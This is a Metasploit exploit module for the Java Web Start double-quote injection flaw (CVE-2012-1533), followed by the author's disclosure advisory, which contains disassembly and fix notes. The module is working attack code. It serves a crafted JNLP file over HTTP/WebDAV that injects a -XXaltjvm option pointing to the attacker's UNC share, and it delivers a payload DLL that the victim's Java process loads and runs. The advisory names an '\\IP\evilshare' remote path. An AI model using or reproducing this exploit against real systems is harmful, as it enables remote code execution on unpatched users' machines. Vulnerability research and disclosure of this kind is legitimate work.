##
#
# ========================================================
# Java Web Start Double Quote Inject Remote Code Execution
# ========================================================
#
# Date: Jun 12 2012 (updated: Jun 6 2013)
# Author: Rh0
# Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07
# Tested on: Windows XP SP3 EN and Windows 7
# CVE: 2012-1533
#
# advisory: http://pastebin.com/eUucVage
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Double Quote Injection',
'Description'=> %q{
This module exploits a flaw in the Web Start component of the Sun Java
Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This allows the injection of the -XXaltjvm
option to load a jvm.dll from a remote UNC path into the java process. Thus
an attacker can execute arbitrary code in the context of a browser user.
This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
a jvm.dll can be specified with an own SMB server.
},
'Author' =>
[
# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
'Rh0 <rh0 () z1p dot biz>', # discovery and msf module
],
'Version'=> '0.0',
'References' =>
[
[ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
],
'Platform' => 'win',
'Payload'=>
{
'Space'=> 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets'=>
[
[ 'Automatic', { } ],
[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget'=> 0,
))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
#print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
ret
end
def on_request_uri(cli, request)
# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end
# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget, share_name)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
#
# GET requests
#
def process_get(cli, request, target, share_name)
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i)
#
# Send the jnlp document
#
# Prepare the UNC path...
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name
end
# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0,2] == "\\\\"
unc.slice!(0, 1)
end
http_agent = Rex::Text.rand_text_alpha(8+rand(8))
# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
# inject a parameter into the command line of javaw.exe
# codebase, href and application-desc parameters successfully suppress java splash
jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="https://www.exploit-db.com/exploits/26123/#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
<title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_path = get_resource()
if jnlp_path[-1,1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"
send_redirect(cli, jnlp_path, '')
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV'=> '1, 2',
'Allow'=> 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
end
=begin
=========================================================
Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
=========================================================
Hello all,
This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
allows remote code execution in the same way.
======================
Vulnerability Overview
======================
There exists an input validation vulnerability in at least Java Web Start 1.6.35
and 1.7.07 when parsing JNLP files.
A flaw exists in the routine which performs checks on the parameter values from
a JNLP file. It allows the injection of non escaped double quotes (") into parameters
of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
JNLP file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This makes it possible to get a command line parameter
with a value consisting only of one double quote injected. Further this allows manipulating
the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
======================
Vulnerability Details
======================
Notes:
------
[*] A JNLP parameter will be refered toby name=value (e.g.: initial-heap-size='64m"' )
[*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
[*] javaws.exe has the base address of 0x00400000 in memory
[*] Arrows (-->) indicate code continuation on next address block
------
Vulnerable program flow:
------------------------
[*] If a JNLP file is opened by javaws.exe, it is read into memory
and saved temporary in %TEMP%.
[*] JNLP parameters are parsed:
[a] Check if a JNLP value begins with a single or a double quote:
(EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
00404D60MOV CL,BYTE PTR DS:[EAX]; CL: 1st char of '64m"' (single quote = 0x27)
00404D62CMP CL,22 ; check for double quote
00404D65MOV DWORD PTR DS:[4227C4],EAX
00404D6AJE SHORT javaws.00404D9F; jmp is not taken
00404D6CCMP CL,27 ; check for single quote
00404D6FJE SHORT javaws.00404D9F; jmp is taken -->
...
[b] strip quotes which enclose the JNLP value and store it:
00404D9FINC EAX ; points to 2nd char of JNLP value (1st char after single quote)
00404DA0MOV DL,CL ; DL: 0x27 (single quote)
00404DA2MOV CL,BYTE PTR DS:[EAX]; CL: 2nd char of JNLP value (0x36)
00404DA4MOV DWORD PTR DS:[4227C4],EAX
00404DA9MOV ESI,EAX
00404DABJMP SHORT javaws.00404DB4 ; start loop
00404DAD/CMP CL,DL; compare char of JNLP value to single quote
00404DAF|JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered
00404DB1|INC ESI; increase pointer to chars in JNLP value
00404DB2|MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL
00404DB4 TEST CL,CL
00404DB6\JNZ SHORT javaws.00404DAD
00404DB8PUSH EAX
00404DB9PUSH 6
00404DBBMOV EAX,ESI
00404DBDCALL javaws.00404BF8; store stripped JNLP value ( in the example case: 64m" )
...
[*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
(e.g.: for JNLP parameter with name initial-heap-size) :
00401895PUSH javaws.00418330; ASCII: -Xms%s
0040189APUSH EBX
0040189BPUSH EAX
0040189CCALL javaws.00406D26; construct command line parameter with -Xms%s and 64m"
004018A1LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
...
[*] All constructed command line parameters for javaw.exe are sane checked:
00402B02CALL javaws.00406911; run check routine -->
...
00406911PUSH EBP
00406912MOV EBP,ESP
00406914PUSH EBX
00406915PUSH ESI
00406916PUSH EDI
00406917MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
0040691AXOR EBX,EBX
0040691CCMP DWORD PTR DS:[EDI],EBX
0040691EMOV ESI,EDI
00406920JE SHORT javaws.00406933
00406922/PUSH DWORD PTR DS:[ESI]; push pointer to command line parameter
00406924|CALL javaws.00406170 ; run check on command line parameter -->
00406929|MOV DWORD PTR DS:[ESI],EAX
0040692B|ADD ESI,4; ESI: pointer to next command line parameter
0040692E|CMP DWORD PTR DS:[ESI],EBX
00406930|POP ECX
00406931\JNZ SHORT javaws.00406922; loop until end of pointer list
...
00406170PUSH EBX
00406171MOV EBX,DWORD PTR SS:[ESP+8]; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
00406175TEST EBX,EBX
00406177JNZ SHORT javaws.0040617D ; -->
...
0040617DMOV EAX,EBX
0040617FLEA EDX,DWORD PTR DS:[EAX+1]; EDX: pointer to command line parameter without hyphen ( Xms64m" )
00406182/MOV CL,BYTE PTR DS:[EAX]
00406184|INC EAX
00406185|TEST CL,CL
00406187\JNZ SHORT javaws.00406182
00406189PUSH ESI; pointer to pointer of -Xms64m"
0040618ASUB EAX,EDX ; EAX: length of Xms64m"\x00
0040618CPUSH javaws.004199B8; ASCII \x20\x09 (space and tab)
00406191PUSH EBX; pointer to -Xms64m"
00406192MOV ESI,EAX
00406194CALL javaws.00409590; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
00406199TEST EAX,EAX; EAX: 0x0 for -Xms64m"
0040619BPOP ECX
0040619CPOP ECX
0040619DJNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
0040619FPUSH EBX
004061A0CALL javaws.004127F4; copy of -Xms64m" (~ strdup)
004061A5POP ECX
004061A6JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215
004061A8CMP ESI,1
004061ABJLE SHORT javaws.004061B9
004061ADCMP BYTE PTR DS:[EBX],22
004061B0JNZ SHORT javaws.004061B9
004061B2CMP BYTE PTR DS:[ESI+EBX-1],22
004061B7JE SHORT javaws.0040619F
004061B9XOR EAX,EAX
004061BBTEST ESI,ESI
004061BDLEA EDX,DWORD PTR DS:[ESI+3]
004061C0JLE SHORT javaws.004061D5
004061C2/MOV CL,BYTE PTR DS:[EAX+EBX]
004061C5|CMP CL,22
004061C8|JE SHORT javaws.004061CF
004061CA|CMP CL,5C
004061CD|JNZ SHORT javaws.004061D0
004061CF|INC EDX
004061D0|INC EAX
004061D1|CMP EAX,ESI
004061D3\JL SHORT javaws.004061C2
004061D5PUSH EDX
004061D6CALL javaws.004089CD
004061DBTEST EAX,EAX
004061DDPOP ECX
004061DEJE SHORT javaws.00406215
004061E0XOR ECX,ECX
004061E2PUSH EDI
004061E3INC ECX
004061E4XOR EDI,EDI
004061E6TEST ESI,ESI
004061E8MOV BYTE PTR DS:[EAX],22; *** prepend command line parameter with double quote
004061EBJLE SHORT javaws.0040620B
004061ED/MOV DL,BYTE PTR DS:[EDI+EBX]
004061F0|CMP DL,22; *** check for "
004061F3|JE SHORT javaws.004061FA
004061F5|CMP DL,5C; *** check for \
004061F8|JNZ SHORT javaws.004061FF
004061FA|MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
004061FE|INC ECX
004061FF|MOV DL,BYTE PTR DS:[EDI+EBX]
00406202|MOV BYTE PTR DS:[EAX+ECX],DL
00406205|INC ECX
00406206|INC EDI
00406207|CMP EDI,ESI
00406209\JL SHORT javaws.004061ED
0040620BADD ECX,EAX
0040620DMOV BYTE PTR DS:[ECX],22; *** append command line parameter with double quote to enclose it
00406210MOV BYTE PTR DS:[ECX+1],0
00406214POP EDI
00406215POP ESI ; -----------------> we land here
00406216POP EBX
00406217RETN
...
[*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
the constructed command line parameter (see 0040619D ).
[*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
[*] The command line for javaw.exe then contains the two parameters after each other, so we get:
javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
[*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
be on a webserver) and execute it.
===
Fix
===
[*] This vulnerability was fixed by Oracle in Oct. 2012
http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
[a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
[b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
values gained by sub_405BD5:
http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
[*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
when it was a 0day:
http://pastebin.com/9RztwVez
Cheers,
Rh0
=end